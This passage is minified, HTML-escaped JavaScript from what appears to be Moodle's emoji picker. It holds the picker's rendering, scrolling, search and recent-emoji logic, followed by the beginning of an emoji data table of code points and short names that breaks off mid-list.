ROW_TYPE_EMOJI=0,ROW_TYPE_HEADER=1,SELECTORS_CATEGORY_SELECTOR=&#039;[data-action=&quot;show-category&quot;]&#039;,SELECTORS_EMOJIS_CONTAINER=&#039;[data-region=&quot;emojis-container&quot;]&#039;,SELECTORS_EMOJI_PREVIEW=&#039;[data-region=&quot;emoji-preview&quot;]&#039;,SELECTORS_EMOJI_SHORT_NAME=&#039;[data-region=&quot;emoji-short-name&quot;]&#039;,SELECTORS_ROW_CONTAINER=&#039;[data-region=&quot;row-container&quot;]&#039;,SELECTORS_SEARCH_INPUT=&#039;[data-region=&quot;search-input&quot;]&#039;,SELECTORS_SEARCH_RESULTS_CONTAINER=&#039;[data-region=&quot;search-results-container&quot;]&#039;,createRowDataForCategory=(categoryName,categoryDisplayName,emojis,totalRowCount)=&gt;{const rowData=[];rowData.push({index:totalRowCount+rowData.length,type:ROW_TYPE_HEADER,data:{name:categoryName,displayName:categoryDisplayName}});for(let i=0;i&lt;emojis.length;i+=7){const rowEmojis=emojis.slice(i,i+7);rowData.push({index:totalRowCount+rowData.length,type:ROW_TYPE_EMOJI,data:rowEmojis})}return rowData},addIndexesToRowData=rowData=&gt;rowData.map(((data,index)=&gt;({...data,index:index}))),getCategoryScrollPositionsFromRowData=rowData=&gt;rowData.reduce(((carry,row,index)=&gt;(row.type===ROW_TYPE_HEADER&amp;&amp;(carry[row.data.name]=40*index),carry)),{}),isEmojiElement=element=&gt;null!==element.getAttribute(&quot;data-short-names&quot;),findCategorySelectorFromElement=element=&gt;element?&quot;show-category&quot;===element.getAttribute(&quot;data-action&quot;)?element:findCategorySelectorFromElement(element.parentElement):null,getCategorySelectorByCategoryName=(root,name)=&gt;root.querySelector(&#039;[data-category=&quot;&#039;.concat(name,&#039;&quot;]&#039;)),getCategoryByScrollPosition=(root,position,categoryScrollPositions)=&gt;{let positions=[];position&lt;0&amp;&amp;(position=0);for(const categoryName in categoryScrollPositions){const categoryPosition=categoryScrollPositions[categoryName];positions.push([categoryPosition,categoryName])}positions.sort(((_ref,_ref2)=&gt;{let[a]=_ref,[b]=_ref2;return a&lt;b?-1:a&gt;b?1:0}));const{categoryName:categoryName,previousPosition:previousPosition,nextPosition:nextPosition}=positions.reduce(((carry,candidate)=&gt;{const[categoryPosition,categoryName]=candidate;return categoryPosition&lt;=position?(carry.categoryName=categoryName,carry.previousPosition=carry.currentPosition,carry.currentPosition=position):null===carry.nextPosition&amp;&amp;(carry.nextPosition=categoryPosition),carry}),{categoryName:null,currentPosition:null,previousPosition:null,nextPosition:null});return[getCategorySelectorByCategoryName(root,categoryName),previousPosition,nextPosition]},getRecentEmojis=()=&gt;{const storedData=_localstorage.default.get(&quot;moodle-recent-emojis&quot;);return storedData?JSON.parse(storedData):[]},addRecentEmoji=(rowData,recentEmojiRowCount,newEmoji)=&gt;{const categoryName=rowData[0].data.name,categoryDisplayName=rowData[0].data.displayName,recentEmojis=getRecentEmojis();let newRecentEmojis=[newEmoji,...recentEmojis.filter((emoji=&gt;emoji.unified!=newEmoji.unified))];newRecentEmojis=newRecentEmojis.slice(0,21);const newRecentEmojiRowData=createRowDataForCategory(categoryName,categoryDisplayName,newRecentEmojis);return(recentEmojis=&gt;{_localstorage.default.set(&quot;moodle-recent-emojis&quot;,JSON.stringify(recentEmojis))})(newRecentEmojis),[addIndexesToRowData(newRecentEmojiRowData.concat(rowData.slice(recentEmojiRowCount))),newRecentEmojiRowData.length]},getRowsToRender=(scrollPosition,visibleRowCount,rowData)=&gt;{const minVisibleRow=scrollPosition&gt;40?Math.floor(scrollPosition/40):0,start=minVisibleRow&gt;=5?minVisibleRow-5:minVisibleRow,end=minVisibleRow+visibleRowCount+5;return rowData.slice(start,end)},createRowElement=async rowData=&gt;{let row=null;return row=rowData.type===ROW_TYPE_HEADER?await(async(rowIndex,name)=&gt;{const context={index:rowIndex,text:name},html=await(0,_templates.render)(&quot;core/emoji/header_row&quot;,context),temp=document.createElement(&quot;div&quot;);return temp.innerHTML=html,temp.firstChild})(rowData.index,rowData.data.displayName):await(async(rowIndex,emojis)=&gt;{const context={index:rowIndex,emojis:emojis.map((emojiData=&gt;{const charCodes=emojiData.unified.split(&quot;-&quot;).map((code=&gt;&quot;0x&quot;.concat(code))),emojiText=String.fromCodePoint.apply(null,charCodes);return{shortnames:&quot;:&quot;.concat(emojiData.shortnames.join(&quot;: :&quot;),&quot;:&quot;),unified:emojiData.unified,text:emojiText,spacer:!1}})),spacers:Array(7-emojis.length).fill(!0)},html=await(0,_templates.render)(&quot;core/emoji/emoji_row&quot;,context),temp=document.createElement(&quot;div&quot;);return temp.innerHTML=html,temp.firstChild})(rowData.index,rowData.data),row.style.position=&quot;absolute&quot;,row.style.left=0,row.style.right=0,row.style.top=&quot;&quot;.concat(40*rowData.index,&quot;px&quot;),row},doRowsMatch=(a,b)=&gt;{if(a.index!==b.index)return!1;if(a.type!==b.type)return!1;if(typeof a.data!=typeof b.data)return!1;if(a.type===ROW_TYPE_HEADER)return a.data.name===b.data.name;if(a.data.length!==b.data.length)return!1;for(let i=0;i&lt;a.data.length;i++)if(a.data[i].unified!=b.data[i].unified)return!1;return!0},generateRenderRowsAtPositionFunction=rowContainer=&gt;{let currentRows=[],nextRows=[],rowCount=0,isRendering=!1;const renderNextRows=async()=&gt;{if(!nextRows.length)return;if(isRendering)return;isRendering=!0;const nextRowsToRender=nextRows.slice();nextRows=[],await(async(rowContainer,currentRows,nextRows)=&gt;{const toAdd=nextRows.filter((nextRow=&gt;!currentRows.some((currentRow=&gt;doRowsMatch(currentRow,nextRow)))));let toKeep=currentRows.filter((currentRow=&gt;nextRows.some((nextRow=&gt;doRowsMatch(currentRow,nextRow)))));const toRemoveElements=currentRows.filter((currentRow=&gt;!nextRows.some((nextRow=&gt;doRowsMatch(currentRow,nextRow))))).map((rowData=&gt;rowContainer.querySelectorAll(&#039;[data-row=&quot;&#039;.concat(rowData.index,&#039;&quot;]&#039;))));(await Promise.all(toAdd.map((rowData=&gt;createRowElement(rowData))))).forEach(((row,index)=&gt;{const rowData=toAdd[index];let nextRowIndex=null;for(let i=0;i&lt;toKeep.length;i++)if(toKeep[i].index&gt;rowData.index){nextRowIndex=i;break}if(null!==nextRowIndex){const nextRowData=toKeep[nextRowIndex],nextRowNode=rowContainer.querySelector(&#039;[data-row=&quot;&#039;.concat(nextRowData.index,&#039;&quot;]&#039;));rowContainer.insertBefore(row,nextRowNode),toKeep.splice(nextRowIndex,0,toKeep)}else toKeep.push(rowData),rowContainer.appendChild(row)})),toRemoveElements.forEach((rows=&gt;{for(let i=0;i&lt;rows.length;i++){const row=rows[i];rowContainer.removeChild(row)}}))})(rowContainer,currentRows,nextRowsToRender),currentRows=nextRowsToRender,isRendering=!1,renderNextRows()};return function(scrollPosition,rowData){let rowLimit=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:10;nextRows=getRowsToRender(scrollPosition,rowLimit,rowData),renderNextRows(),rowCount!==rowData.length&amp;&amp;(rowContainer.style.height=&quot;&quot;.concat(40*rowData.length,&quot;px&quot;)),rowCount=rowData.length}},clearSearch=(emojiContainer,searchResultsContainer,searchInput)=&gt;{searchResultsContainer.classList.add(&quot;hidden&quot;),emojiContainer.classList.remove(&quot;hidden&quot;),searchInput.value=&quot;&quot;},getHandleMouseEnter=(emojiPreview,emojiShortName)=&gt;e=&gt;{const target=e.target;isEmojiElement(target)&amp;&amp;(emojiShortName.textContent=target.getAttribute(&quot;data-short-names&quot;),emojiPreview.textContent=target.textContent)},getHandleMouseLeave=(emojiPreview,emojiShortName)=&gt;e=&gt;{const target=e.target;isEmojiElement(target)&amp;&amp;(emojiShortName.textContent=&quot;&quot;,emojiPreview.textContent=&quot;&quot;)},getHandleScroll=(root,currentVisibleRowScrollPosition,emojiContainer,initialCategoryScrollPositions,renderAtPosition)=&gt;{let[currentCategoryElement,previousCategoryPosition,nextCategoryPosition]=getCategoryByScrollPosition(root,emojiContainer.scrollTop,initialCategoryScrollPositions);return(categoryScrollPositions,rowData)=&gt;{const newScrollPosition=emojiContainer.scrollTop,updateRenderRows=newScrollPosition&lt;currentVisibleRowScrollPosition-40||newScrollPosition&gt;currentVisibleRowScrollPosition+40;(newScrollPosition&gt;=nextCategoryPosition||newScrollPosition&lt;previousCategoryPosition)&amp;&amp;([currentCategoryElement,previousCategoryPosition,nextCategoryPosition]=getCategoryByScrollPosition(root,newScrollPosition,categoryScrollPositions),((root,element)=&gt;{const allCategorySelectors=root.querySelectorAll(SELECTORS_CATEGORY_SELECTOR);for(let i=0;i&lt;allCategorySelectors.length;i++)allCategorySelectors[i].classList.remove(&quot;selected&quot;);element.classList.add(&quot;selected&quot;)})(root,currentCategoryElement)),updateRenderRows&amp;&amp;requestAnimationFrame((()=&gt;{renderAtPosition(newScrollPosition,rowData),currentVisibleRowScrollPosition=newScrollPosition}))}},registerEventListeners=(root,emojiContainer,renderAtPosition,currentVisibleRowScrollPosition,selectCallback,categoryScrollPositions,rowData,recentEmojiRowCount)=&gt;{const searchInput=root.querySelector(SELECTORS_SEARCH_INPUT),searchResultsContainer=root.querySelector(SELECTORS_SEARCH_RESULTS_CONTAINER),emojiPreview=root.querySelector(SELECTORS_EMOJI_PREVIEW),emojiShortName=root.querySelector(SELECTORS_EMOJI_SHORT_NAME),clickHandler=((recentEmojiRowCount,emojiContainer,searchResultsContainer,searchInput,selectCallback,renderAtPosition)=&gt;(e,rowData,categoryScrollPositions)=&gt;{const target=e.target;let newRowData=rowData,newCategoryScrollPositions=categoryScrollPositions;if(clearSearch(emojiContainer,searchResultsContainer,searchInput),isEmojiElement(target)){const emojiData={unified:target.getAttribute(&quot;data-unified&quot;),shortnames:target.getAttribute(&quot;data-short-names&quot;).replace(/:/g,&quot;&quot;).split(&quot; &quot;)},currentScrollTop=emojiContainer.scrollTop,isRecentEmojiRowVisible=null!==emojiContainer.querySelector(&#039;[data-row=&quot;&#039;.concat(recentEmojiRowCount-1,&#039;&quot;]&#039;));return[newRowData,recentEmojiRowCount]=addRecentEmoji(rowData,recentEmojiRowCount,emojiData),newCategoryScrollPositions=getCategoryScrollPositionsFromRowData(newRowData),isRecentEmojiRowVisible&amp;&amp;renderAtPosition(currentScrollTop,newRowData),selectCallback(target.textContent),[newRowData,newCategoryScrollPositions]}const categorySelector=findCategorySelectorFromElement(target);if(categorySelector){const position=categoryScrollPositions[categorySelector.getAttribute(&quot;data-category&quot;)];emojiContainer.scrollTop=position}return[newRowData,newCategoryScrollPositions]})(recentEmojiRowCount,emojiContainer,searchResultsContainer,searchInput,selectCallback,renderAtPosition),scrollHandler=getHandleScroll(root,currentVisibleRowScrollPosition,emojiContainer,categoryScrollPositions,renderAtPosition),searchHandler=((searchInput,searchResultsContainer,emojiContainer)=&gt;{const rowContainer=searchResultsContainer.querySelector(SELECTORS_ROW_CONTAINER),renderSearchResultsAtPosition=generateRenderRowsAtPositionFunction(rowContainer);return searchResultsContainer.appendChild(rowContainer),async()=&gt;{const searchTerm=searchInput.value.toLowerCase();if(searchTerm){((emojiContainer,searchResultsContainer)=&gt;{searchResultsContainer.classList.remove(&quot;hidden&quot;),emojiContainer.classList.add(&quot;hidden&quot;)})(emojiContainer,searchResultsContainer);const matchingEmojis=Object.keys(EmojiData.byShortName).reduce(((carry,shortName)=&gt;(shortName.includes(searchTerm)&amp;&amp;carry.push({shortnames:[shortName],unified:EmojiData.byShortName[shortName]}),carry)),[]),searchResultsString=await(0,_str.get_string)(&quot;searchresults&quot;,&quot;core&quot;),rowData=createRowDataForCategory(searchResultsString,searchResultsString,matchingEmojis,0);renderSearchResultsAtPosition(0,rowData,rowData.length)}else clearSearch(emojiContainer,searchResultsContainer,searchInput)}})(searchInput,searchResultsContainer,emojiContainer);root.addEventListener(&quot;focus&quot;,getHandleMouseEnter(emojiPreview,emojiShortName),!0),root.addEventListener(&quot;blur&quot;,getHandleMouseLeave(emojiPreview,emojiShortName),!0),root.addEventListener(&quot;mouseenter&quot;,getHandleMouseEnter(emojiPreview,emojiShortName),!0),root.addEventListener(&quot;mouseleave&quot;,getHandleMouseLeave(emojiPreview,emojiShortName),!0),root.addEventListener(&quot;click&quot;,(e=&gt;{[rowData,categoryScrollPositions]=clickHandler(e,rowData,categoryScrollPositions)})),emojiContainer.addEventListener(&quot;scroll&quot;,(0,_utils.throttle)((()=&gt;scrollHandler(categoryScrollPositions,rowData)),50)),searchInput.addEventListener(&quot;input&quot;,(0,_utils.debounce)(searchHandler,200))};return _exports.default=(root,selectCallback)=&gt;{const emojiContainer=root.querySelector(SELECTORS_EMOJIS_CONTAINER),rowContainer=emojiContainer.querySelector(SELECTORS_ROW_CONTAINER),allData=[{name:&quot;Recent&quot;,emojis:getRecentEmojis()},...EmojiData.byCategory];let rowData=[],recentEmojiRowCount=0;allData.forEach((category=&gt;{const categoryDisplayName=getCategorySelectorByCategoryName(root,category.name).title,categoryRowData=createRowDataForCategory(category.name,categoryDisplayName,category.emojis,rowData.length);&quot;Recent&quot;===category.name&amp;&amp;(recentEmojiRowCount=categoryRowData.length),rowData=rowData.concat(categoryRowData)})),rowData=addIndexesToRowData(rowData);const categoryScrollPositions=getCategoryScrollPositionsFromRowData(rowData),renderAtPosition=generateRenderRowsAtPositionFunction(rowContainer);renderAtPosition(0,rowData),registerEventListeners(root,emojiContainer,renderAtPosition,0,selectCallback,categoryScrollPositions,rowData,recentEmojiRowCount)},_exports.default}));
define(&quot;core/emoji/data&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.byShortName=_exports.byCategory=void 0;_exports.byCategory=[{name:&quot;Smileys &amp; Emotion&quot;,emojis:[{unified:&quot;1F600&quot;,shortnames:[&quot;grinning&quot;]},{unified:&quot;1F603&quot;,shortnames:[&quot;smiley&quot;]},{unified:&quot;1F604&quot;,shortnames:[&quot;smile&quot;]},{unified:&quot;1F601&quot;,shortnames:[&quot;grin&quot;]},{unified:&quot;1F606&quot;,shortnames:[&quot;laughing&quot;]},{unified:&quot;1F605&quot;,shortnames:[&quot;sweat_smile&quot;]},{unified:&quot;1F923&quot;,shortnames:[&quot;rolling_on_the_floor_laughing&quot;]},{unified:&quot;1F602&quot;,shortnames:[&quot;joy&quot;]},{unified:&quot;1F642&quot;,shortnames:[&quot;slightly_smiling_face&quot;]},{unified:&quot;1F643&quot;,shortnames:[&quot;upside_down_face&quot;]},{unified:&quot;1F609&quot;,shortnames:[&quot;wink&quot;]},{unified:&quot;1F60A&quot;,shortnames:[&quot;blush&quot;]},{unified:&quot;1F607&quot;,shortnames:[&quot;innocent&quot;]},{unified:&quot;1F970&quot;,shortnames:[&quot;smiling_face_with_3_hearts&quot;]},{unified:&quot;1F60D&quot;,shortnames:[&quot;heart_eyes&quot;]},{unified:&quot;1F929&quot;,shortnames:[&quot;star-struck&quot;]},{unified:&quot;1F618&quot;,shortnames:[&quot;kissing_heart&quot;]},{unified:&quot;1F617&quot;,shortnames:[&quot;kissing&quot;]},{unified:&quot;263A-FE0F&quot;,shortnames:[&quot;relaxed&quot;]},{unified:&quot;1F61A&quot;,shortnames:[&quot;kissing_closed_eyes&quot;]},{unified:&quot;1F619&quot;,shortnames:[&quot;kissing_smiling_eyes&quot;]},{unified:&quot;1F972&quot;,shortnames:[&quot;smiling_face_with_tear&quot;]},{unified:&quot;1F60B&quot;,shortnames:[&quot;yum&quot;]},{unified:&quot;1F61B&quot;,shortnames:[&quot;stuck_out_tongue&quot;]},{unified:&quot;1F61C&quot;,shortnames:[&quot;stuck_out_tongue_winking_eye&quot;]},{unified:&quot;1F92A&quot;,shortnames:[&quot;zany_face&quot;]},{unified:&quot;1F61D&quot;,shortnames:[&quot;stuck_out_tongue_closed_eyes&quot;]},{unified:&quot;1F911&quot;,shortnames:[&quot;money_mouth_face&quot;]},{unified:&quot;1F917&quot;,shortnames:[&quot;hugging_face&quot;]},{unified:&quot;1F92D&quot;,shortnames:[&quot;face_with_hand_over_mouth&quot;]},{unified:&quot;1F92B&quot;,shortnames:[&quot;shushing_face&quot;]},{unified:&quot;1F914&quot;,shortnames:[&quot;thinking_face&quot;]},{unified:&quot;1F910&quot;,shortnames:[&quot;zipper_mouth_face&quot;]},{unified:&quot;1F928&quot;,shortnames:[&quot;face_with_raised_eyebrow&quot;]},{unified:&quot;1F610&quot;,shortnames:[&quot;neutral_face&quot;]},{unified:&quot;1F611&quot;,shortnames:[&quot;expressionless&quot;]},{unified:&quot;1F636&quot;,shortnames:[&quot;no_mouth&quot;]},{unified:&quot;1F636-200D-1F32B-FE0F&quot;,shortnames:[&quot;face_in_clouds&quot;]},{unified:&quot;1F60F&quot;,shortnames:[&quot;smirk&quot;]},{unified:&quot;1F612&quot;,shortnames:[&quot;unamused&quot;]},{unified:&quot;1F644&quot;,shortnames:[&quot;face_with_rolling_eyes&quot;]},{unified:&quot;1F62C&quot;,shortnames:[&quot;grimacing&quot;]},{unified:&quot;1F62E-200D-1F4A8&quot;,shortnames:[&quot;face_exhaling&quot;]},{unified:&quot;1F925&quot;,shortnames:[&quot;lying_face&quot;]},{unified:&quot;1F60C&quot;,shortnames:[&quot;relieved&quot;]},{unified:&quot;1F614&quot;,shortnames:[&quot;pensive&quot;]},{unified:&quot;1F62A&quot;,shortnames:[&quot;sleepy&quot;]},{unified:&quot;1F924&quot;,shortnames:[&quot;drooling_face&quot;]},{unified:&quot;1F634&quot;,shortnames:[&quot;sleeping&quot;]},{unified:&quot;1F637&quot;,shortnames:[&quot;mask&quot;]},{unified:&quot;1F912&quot;,shortnames:[&quot;face_with_thermometer&quot;]},{unified:&quot;1F915&quot;,shortnames:[&quot;face_with_head_bandage&quot;]},{unified:&quot;1F922&quot;,shortnames:[&quot;nauseated_face&quot;]},{unified:&quot;1F92E&quot;,shortnames:[&quot;face_vomiting&quot;]},{unified:&quot;1F927&quot;,shortnames:[&quot;sneezing_face&quot;]},{unified:&quot;1F975&quot;,shortnames:[&quot;hot_face&quot;]},{unified:&quot;1F976&quot;,shortnames:[&quot;cold_face&quot;]},{unified:&quot;1F974&quot;,shortnames:[&quot;woozy_face&quot;]},{unified:&quot;1F635&quot;,shortnames:[&quot;dizzy_face&quot;]},{unified:&quot;1F635-200D-1F4AB&quot;,shortnames:[&quot;face_with_spiral_eyes&quot;]},{unified:&quot;1F92F&quot;,shortnames:[&quot;exploding_head&quot;]},{unified:&quot;1F920&quot;,shortnames:[&quot;face_with_cowboy_hat&quot;]},{unified:&quot;1F973&quot;,shortnames:[&quot;partying_face&quot;]},{unified:&quot;1F978&quot;,shortnames:[&quot;disguised_face&quot;]},{unified:&quot;1F60E&quot;,shortnames:[&quot;sunglasses&quot;]},{unified:&quot;1F913&quot;,shortnames:[&quot;nerd_face&quot;]},{unified:&quot;1F9D0&quot;,shortnames:[&quot;face_with_monocle&quot;]},{unified:&quot;1F615&quot;,shortnames:[&quot;confused&quot;]},{unified:&quot;1F61F&quot;,shortnames:[&quot;worried&quot;]},{unified:&quot;1F641&quot;,shortnames:[&quot;slightly_frowning_face&quot;]},{unified:&quot;2639-FE0F&quot;,shortnames:[&quot;white_frowning_face&quot;]},{unified:&quot;1F62E&quot;,shortnames:[&quot;open_mouth&quot;]},{unified:&quot;1F62F&quot;,shortnames:[&quot;hushed&quot;]},{unified:&quot;1F632&quot;,shortnames:[&quot;astonished&quot;]},{unified:&quot;1F633&quot;,shortnames:[&quot;flushed&quot;]},{unified:&quot;1F97A&quot;,shortnames:[&quot;pleading_face&quot;]},{unified:&quot;1F626&quot;,shortnames:[&quot;frowning&quot;]},{unified:&quot;1F627&quot;,shortnames:[&quot;anguished&quot;]},{unified:&quot;1F628&quot;,shortnames:[&quot;fearful&quot;]},{unified:&quot;1F630&quot;,shortnames:[&quot;cold_sweat&quot;]},{unified:&quot;1F625&quot;,shortnames:[&quot;disappointed_relieved&quot;]},{unified:&quot;1F622&quot;,shortnames:[&quot;cry&quot;]},{unified:&quot;1F62D&quot;,shortnames:[&quot;sob&quot;]},{unified:&quot;1F631&quot;,shortnames:[&quot;scream&quot;]},{unified:&quot;1F616&quot;,shortnames:[&quot;confounded&quot;]},{unified:&quot;1F623&quot;,shortnames:[&quot;persevere&quot;]},{unified:&quot;1F61E&quot;,shortnames:[&quot;disappointed&quot;]},{unified:&quot;1F613&quot;,shortnames:[&quot;sweat&quot;]},{unified:&quot;1F629&quot;,shortnames:[&quot;weary&quot;]},{unified:&quot;1F62B&quot;,shortnames:[&quot;tired_face&quot;]},{unified:&quot;1F971&quot;,shortnames:[&quot;yawning_face&quot;]},{unified:&quot;1F624&quot;,shortnames:[&quot;triumph&quot;]},{unified:&quot;1F621&quot;,shortnames:[&quot;rage&quot;]},{unified:&quot;1F620&quot;,shortnames:[&quot;angry&quot;]},{unified:&quot;1F92C&quot;,shortnames:[&quot;face_with_symbols_on_mouth&quot;]},{unified:&quot;1F608&quot;,shortnames:[&quot;smiling_imp&quot;]},{unified:&quot;1F47F&quot;,shortnames:[&quot;imp&quot;]},{unified:&quot;1F480&quot;,shortnames:[&quot;skull&quot;]},{unified:&quot;2620-FE0F&quot;,shortnames:[&quot;skull_and_crossbones&quot;]},{unified:&quot;1F4A9&quot;,shortnames:[&quot;hankey&quot;]},{unified:&quot;1F921&quot;,shortnames:[&quot;clown_face&quot;]},{unified:&quot;1F479&quot;,shortnames:[&quot;japanese_ogre&quot;]},{unified:&quot;1F47A&quot;,shortnames:[&quot;japanese_goblin&quot;]},{unified:&quot;1F47B&quot;,shortnames:[&quot;ghost&quot;]},{unified:&quot;1F47D&quot;,shortnames:[&quot;alien&quot;]},{unified:&quot;1F47E&quot;,shortnames:[&quot;space_invader&quot;]},{unified:&quot;1F916&quot;,shortnames:[&quot;robot_face&quot;]},{unified:&quot;1F63A&quot;,shortnames:[&quot;smiley_cat&quot;]},{unified:&quot;1F638&quot;,shortnames:[&quot;smile_cat&quot;]},{unified:&quot;1F639&quot;,shortnames:[&quot;joy_cat&quot;]},{unified:&quot;1F63B&quot;,shortnames:[&quot;heart_eyes_cat&quot;]},{unified:&quot;1F63C&quot;,shortnames:[&quot;smirk_cat&quot;]},{unified:&quot;1F63D&quot;,shortnames:[&quot;kissing_cat&quot;]},{unified:&quot;1F640&quot;,shortnames:[&quot;scream_cat&quot;]},{unified:&quot;1F63F&quot;,shortnames:[&quot;crying_cat_face&quot;]},{unified:&quot;1F63E&quot;,shortnames:[&quot;pouting_cat&quot;]},{unified:&quot;1F648&quot;,shortnames:[&quot;see_no_evil&quot;]},{unified:&quot;1F649&quot;,shortnames:[&quot;hear_no_evil&quot;]},{unified:&quot;1F64A&quot;,shortnames:[&quot;speak_no_evil&quot;]},{unified:&quot;1F48B&quot;,shortnames:[&quot;kiss&quot;]},{unified:&quot;1F48C&quot;,shortnames:[&quot;love_letter&quot;]},{unified:&quot;1F498&quot;,shortnames:[&quot;cupid&quot;]},{unified:&quot;1F49D&quot;,shortnames:[&quot;gift_heart&quot;]},{unified:&quot;1F496&quot;,shortnames:[&quot;sparkling_heart&quot;]},{unified:&quot;1F497&quot;,shortnames:[&quot;heartpulse&quot;]},{unified:&quot;1F493&quot;,shortnames:[&quot;heartbeat&quot;]},{unified:&quot;1F49E&quot;,shortnames:[&quot;revolving_hearts&quot;]},{unified:&quot;1F495&quot;,shortnames:[&quot;two_hearts&quot;]},{unified:&quot;1F49F&quot;,shortnames:[&quot;heart_decoration&quot;]},{unified:&quot;2763-FE0F&quot;,shortnames:[&quot;heavy_heart_exclamation_mark_ornament&quot;]},{unified:&quot;1F494&quot;,shortnames:[&quot;broken_heart&quot;]},{unified:&quot;2764-FE0F-200D-1F525&quot;,shortnames:[&quot;heart_on_fire&quot;]},{unified:&quot;2764-FE0F-200D-1FA79&quot;,shortnames:[&quot;mending_heart&quot;]},{unified:&quot;2764-FE0F&quot;,shortnames:[&quot;heart&quot;]},{unified:&quot;1F9E1&quot;,shortnames:[&quot;orange_heart&quot;]},{unified:&quot;1F49B&quot;,shortnames:[&quot;yellow_heart&quot;]},{unified:&quot;1F49A&quot;,shortnames:[&quot;green_heart&quot;]},{unified:&quot;1F499&quot;,shortnames:[&quot;blue_heart&quot;]},{unified:&quot;1F49C&quot;,shortnames:[&quot;purple_heart&quot;]},{unified:&quot;1F90E&quot;,shortnames:[&quot;brown_heart&quot;]},{unified:&quot;1F5A4&quot;,shortnames:[&quot;black_heart&quot;]},{unified:&quot;1F90D&quot;,shortnames:[&quot;white_heart&quot;]},{unified:&quot;1F4AF&quot;,shortnames:[&quot;100&quot;]},{unified:&quot;1F4A2&quot;,shortnames:[&quot;anger&quot;]},{unified:&quot;1F4A5&quot;,shortnames:[&quot;boom&quot;]},{unified:&quot;1F4AB&quot;,shortnames:[&quot;dizzy&quot;]},{unified:&quot;1F4A6&quot;,shortnames:[&quot;sweat_drops&quot;]},{unified:&quot;1F4A8&quot;,shortnames:[&quot;dash&quot;]},{unified:&quot;1F573-FE0F&quot;,shortnames:[&quot;hole&quot;]},{unified:&quot;1F4A3&quot;,shortnames:[&quot;bomb&quot;]},{unified:&quot;1F4AC&quot;,shortnames:[&quot;speech_balloon&quot;]},{unified:&quot;1F441-FE0F-200D-1F5E8-FE0F&quot;,shortnames:[&quot;eye-in-speech-bubble&quot;]},{unified:&quot;1F5E8-FE0F&quot;,shortnames:[&quot;left_speech_bubble&quot;]},{unified:&quot;1F5EF-FE0F&quot;,shortnames:[&quot;right_anger_bubble&quot;]},{unified:&quot;1F4AD&quot;,shortnames:[&quot;thought_balloon&quot;]},{unified:&quot;1F4A4&quot;,shortnames:[&quot;zzz&quot;]}]},{name:&quot;People &amp; Body&quot;,emojis:[{unified:&quot;1F44B&quot;,shortnames:[&quot;wave&quot;]},{unified:&quot;1F91A&quot;,shortnames:[&quot;raised_back_of_hand&quot;]},{unified:&quot;1F590-FE0F&quot;,shortnames:[&quot;raised_hand_with_fingers_splayed&quot;]},{unified:&quot;270B&quot;,shortnames:[&quot;hand&quot;]},{unified:&quot;1F596&quot;,shortnames:[&quot;spock-hand&quot;]},{unified:&quot;1F44C&quot;,shortnames:[&quot;ok_hand&quot;]},{unified:&quot;1F90C&quot;,shortnames:[&quot;pinched_fingers&quot;]},{unified:&quot;1F90F&quot;,shortnames:[&quot;pinching_hand&quot;]},{unified:&quot;270C-FE0F&quot;,shortnames:[&quot;v&quot;]},{unified:&quot;1F91E&quot;,shortnames:[&quot;crossed_fingers&quot;]},{unified:&quot;1F91F&quot;,shortnames:[&quot;i_love_you_hand_sign&quot;]},{unified:&quot;1F918&quot;,shortnames:[&quot;the_horns&quot;]},{unified:&quot;1F919&quot;,shortnames:[&quot;call_me_hand&quot;]},{unified:&quot;1F448&quot;,shortnames:[&quot;point_left&quot;]},{unified:&quot;1F449&quot;,shortnames:[&quot;point_right&quot;]},{unified:&quot;1F446&quot;,shortnames:[&quot;point_up_2&quot;]},{unified:&quot;1F595&quot;,shortnames:[&quot;middle_finger&quot;]},{unified:&quot;1F447&quot;,shortnames:[&quot;point_down&quot;]},{unified:&quot;261D-FE0F&quot;,shortnames:[&quot;point_up&quot;]},{unified:&quot;1F44D&quot;,shortnames:[&quot;+1&quot;]},{unified:&quot;1F44E&quot;,shortnames:[&quot;-1&quot;]},{unified:&quot;270A&quot;,shortnames:[&quot;fist&quot;]},{unified:&quot;1F44A&quot;,shortnames:[&quot;facepunch&quot;]},{unified:&quot;1F91B&quot;,shortnames:[&quot;left-facing_fist&quot;]},{unified:&quot;1F91C&quot;,shortnames:[&quot;right-facing_fist&quot;]},{unified:&quot;1F44F&quot;,shortnames:[&quot;clap&quot;]},{unified:&quot;1F64C&quot;,shortnames:[&quot;raised_hands&quot;]},{unified:&quot;1F450&quot;,shortnames:[&quot;open_hands&quot;]},{unified:&quot;1F932&quot;,shortnames:[&quot;palms_up_together&quot;]},{unified:&quot;1F91D&quot;,shortnames:[&quot;handshake&quot;]},{unified:&quot;1F64F&quot;,shortnames:[&quot;pray&quot;]},{unified:&quot;270D-FE0F&quot;,shortnames:[&quot;writing_hand&quot;]},{unified:&quot;1F485&quot;,shortnames:[&quot;nail_care&quot;]},{unified:&quot;1F933&quot;,shortnames:[&quot;selfie&quot;]},{unified:&quot;1F4AA&quot;,shortnames:[&quot;muscle&quot;]},{unified:&quot;1F9BE&quot;,shortnames:[&quot;mechanical_arm&quot;]},{unified:&quot;1F9BF&quot;,shortnames:[&quot;mechanical_leg&quot;]},{unified:&quot;1F9B5&quot;,shortnames:[&quot;leg&quot;]},{unified:&quot;1F9B6&quot;,shortnames:[&quot;foot&quot;]},{unified:&quot;1F442&quot;,shortnames:[&quot;ear&quot;]},{unified:&quot;1F9BB&quot;,shortnames:[&quot;ear_with_hearing_aid&quot;]},{unified:&quot;1F443&quot;,shortnames:[&quot;nose&quot;]},{unified:&quot;1F9E0&quot;,shortnames:[&quot;brain&quot;]},{unified:&quot;1FAC0&quot;,shortnames:[&quot;anatomical_heart&quot;]},{unified:&quot;1FAC1&quot;,shortnames:[&quot;lungs&quot;]},{unified:&quot;1F9B7&quot;,shortnames:[&quot;tooth&quot;]},{unified:&quot;1F9B4&quot;,shortnames:[&quot;bone&quot;]},{unified:&quot;1F440&quot;,shortnames:[&quot;eyes&quot;]},{unified:&quot;1F441-FE0F&quot;,shortnames:[&quot;eye&quot;]},{unified:&quot;1F445&quot;,shortnames:[&quot;tongue&quot;]},{unified:&quot;1F444&quot;,shortnames:[&quot;lips&quot;]},{unified:&quot;1F476&quot;,shortnames:[&quot;baby&quot;]},{unified:&quot;1F9D2&quot;,shortnames:[&quot;child&quot;]},{unified:&quot;1F466&quot;,shortnames:[&quot;boy&quot;]},{unified:&quot;1F467&quot;,shortnames:[&quot;girl&quot;